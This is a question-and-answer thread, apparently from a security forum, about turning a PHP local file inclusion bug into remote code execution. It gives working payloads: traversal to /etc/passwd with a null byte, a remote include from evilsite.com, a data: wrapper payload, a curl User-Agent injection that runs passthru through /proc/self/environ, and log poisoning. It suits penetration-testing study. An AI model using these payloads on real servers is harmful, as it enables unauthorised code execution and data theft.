Local File Inclusion to RCE using PHP File Wrappers

Question

Suppose we have code that looks something like this:

<?php include("includes/".$_GET['param1'].".php");?>

Now the above code is vulnerable to LFI. If I pass payload ../../../../etc/passwd%00it works perfect and I get the file.

However I'm trying to achieve remote code execution using the above LFI vulnerability. Is there a possibility here to use PHP file wrapper "php://input" to get RCE?

The problem here I think is the includes/ folder in the path and how to bypass that.

Answer 1

You can't use include() to leverage LFI into dynamic RCE. You would have to already have a file with code in it (i.e., evil-RCE-code.php) on the system to call. For example:

If an application passes a parameter sent via a GET request to the PHP include() function with no input validation, the attacker may try to execute code other than what the developer had in mind.

The URL below passes a page name to the include() function.

http://testsite.com/index.php?page=contact.php

The file "evil-RCE-code.php" may contain, for example, the phpinfo() function which is useful for gaining information about the configuration of the environment in which the web service runs. An attacker can ask the application to execute his PHP code using the following request:

http://testsite.com/?page=http://evilsite.com/evil-RCE-code.php

Source (Disclaimer: I added the "-RCE-" part to make it easier to see where the RCE goes.)

Take a look at this for a different approach:

Good approach is to use file inclusion as follows:
<?php define('MY_FILE_PATH','/var/www/htdocs/');require_once(APP_PATH .'lib.php');?>

Let’s now take a look at another example, consider the following page:

http://localhost/index.php?file=page1

page1 is the file that is dynamically included into the webpage, by looking at the above url, we can assume that the backend would be using the following code:

And now imagine that attacker changes value of variable “file” to following:

http://localhost/index.php?file=data:text/plain,<?php phpinfo();?>

LFI can easily be converted to remote code execution (RCE) in one way more. This new data protocol has appeared in PHP 5.2.0 and in older versions will not work. Also PHP will argue and would not allow to use it if allow_url_include=off which results in a full path disclosure.

There are other possibilities how code can be injected and later evaluated; via apache log files, using “/proc” and others. Without a doubt, inappropriate usage of functions like file_get_contents(), readfile(), input wrappers like php://input, and others represent a threat as well.

Full Article

More Background Info and Reading

Answer 2

You cannot use streams if there is any prepended data, in your case includes/ is prepended. However based on the fact that null bytes work it seems you are dealing with some older technology and you may be able to leverage the /proc/self/environ trick by doing something like this: curl -A '<?=passthru("id")?>' 'http://localhost/lfi.php?file=../../../../../proc/self/environ%00'

Answer 3

It is sometimes possible to get RCE via an LFI without being able to directly control a file on disk, use an RFI, use expect or use a stream.

When an error occurs, in say a LAMP stack - the full request is going to be logged into the servers "error log" file. You can send in an invalid request which contains well formed PHP, after which you should have written arbitrary PHP code to the servers file system.

It is now a matter of A) finding where the log file is located, which is often in a default location and B) hoping that the web-user has sufficient privilege to read from the error log.

If these pre-requisites are met, you can include the path to the error-log and your injected PHP should execute.